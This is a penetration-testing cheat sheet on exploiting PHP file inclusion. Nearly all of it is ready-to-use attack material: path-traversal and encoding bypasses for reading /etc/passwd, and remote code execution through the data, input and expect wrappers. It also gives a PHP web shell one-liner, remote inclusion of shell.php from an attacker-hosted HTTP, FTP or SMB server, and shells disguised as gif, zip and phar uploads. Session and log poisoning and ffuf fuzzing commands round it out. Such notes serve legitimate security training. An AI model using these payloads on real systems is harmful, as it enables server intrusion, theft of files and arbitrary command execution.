File Inclusion

The following table shows which functions may execute files and which only read file content:

Remember to look for which other pages we can use our LFI with using Fuzzing for codes other than 200 (even if we have access denied, we are "locally including" them so knowing they exist is what we care about)

Local File Inclusion

Basic LFI

Example

/index.php?language=/etc/passwd

Basic LFI

/index.php?language=../../../../etc/passwd

LFI with path traversal

/index.php?language=/../../../etc/passwd

LFI with name prefix

/index.php?language=./languages/../../../../etc/passwd

LFI with approved path

Bypasses

/index.php?language=....//....//....//....//etc/passwd

Bypass basic path traversal filter

/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

Bypass filters with URL encoding

/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]

Bypass appended extension with path truncation (obsolete)

/index.php?language=../../../../etc/passwd%00

Bypass appended extension with null byte (obsolete < PHP 5.5)

/index.php?language=php://filter/read=convert.base64-encode/resource=config

Read PHP with base64 filter

Remote Code Execution

Data Wrapper

needs to be enabled (allow_url_include enabled in the PHP settings file, use base64 or other ways to read the file. File position in Enumeration page)

data://text/plain;base64,<base64-php-payload>&cmd=<COMMAND>

payload generation example: echo '<?php system($_GET["cmd"]); ?>' | base64

Usage: index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

Input Wrapper

Also depends on the same configuration being enabled as the data wrapper above

Example: index.php?language=php://input&cmd=id

Takes input from POST body

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' .../index.php?language=php://input&cmd=id

Expect Wrapper

Externally installed and needs to be enabled too

Different parameter in the same config file: extension=expect

Executes commands directly: /index.php?language=expect://id

Remote File inclusion

Get config file as for RCE (section above, location in Enumeration page).

Verify the following parameter, must be ON: allow_url_include

Test with local URL: http://127.0.0.1:80/index.php

Generate a payload file, example payload: echo '<?php system($_GET["cmd"]); ?>' > shell.php

Host the above file, use common ports like 80 or 443

Example: sudo python3 -m http.server 80

The send the request: /index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

The above file/script can be hosted through FTP as well using: sudo python -m pyftpdlib -p 21

And then the request would become: /index.php?language=ftp://<OUR_IP>/shell.php&cmd=id

In case of Windows Server host

To create a SMB server a useful python package is: Impacket's smbserver.py

Usage: impacket-smbserver -smb2support share $(pwd)

This will allow for anonymous login and reads

Example payload for this: /index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

File uploads

Create gif: echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

Create zip: echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php

To use the zip version you need to use the zip wrapper: zip://shell.jpg (to specify the zip file) and then specify the file to include using a URL Encoded #file.php. Result: zip://./profile_images/shell.jpg%23shell.php&cmd=id

Create Phar: Copy the following into a shell.php file

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();

Compile it and rename it into a fake jpg file:

php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

Usage: phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

File/Log poisoning

PHP Session Poinoning

By default, session cookies are saved in:

Linux: /var/lib/php/sessions/

Windows: C:\Windows\Temp\

If the value of PHP_SESSID cookies is el4ukv0kqbvoirg7nkp4dncpk3 then it's saved in /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3

Using LFI we can check the contents and see if we have control over any session variable

For example, if a GET parameter is saved into the session file, it's possible to set the parameter to a URL Encoded shell %3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E and then use the LFI again to execute it: /var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

Log Poisoning

Nginx logs are readable by low privileged users by default (e.g. www-data), while the Apache logs are only readable by users with high privileges (e.g. root/adm groups)

access.log keeps a log of the User-Agent header of every request, which we control.

By default, Apache logs are located in /var/log/apache2/ on Linux and in C:\xampp\apache\logs\ on Windows, while Nginx logs are located in /var/log/nginx/ on Linux and in C:\nginx\log\ on Windows.

Sometimes the log files are in different locations, it is suggested to use the SecLists LFI wordlist to Fuzz it if not found in the default locations.

Tip: The User-Agent header is also shown on process files under the Linux /proc/ directory. So, we can try including the /proc/self/environ or /proc/self/fd/N files (where N is a PID usually between 0-50), and we may be able to perform the same attack on these files. This may become handy in case we did not have read access over the server logs, however, these files may only be readable by privileged users as well.

Examples of other possible logs to poison:

  • /var/log/sshd.log

  • /var/log/mail

  • /var/log/vsftpd.log

Automated Scanning / Fuzzing

All the following commands use SecLists as wordlists

Fuzz parameters

ffuf -w SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs xxx

Top 25 LFI paramters list (Credits):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

Fuzz Payload

Change the parameters to the ones found above

ffuf -w SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287

Finding the Web Root Directory

In some cases it might be useful to find where the web root is. For example to know how to find uploaded files. Fuzz using the following command (may need to adjust the amount of ../)

ffuf -w SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287

Server logs/configurations

In case the above way of finding the root doesn't work, we may need to find the config files to read it from there.

For this, other than the same wordlist as above (LFI-Jhaddix.txt), we can also use specific ones for Linux and Windows:

ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287

Last updated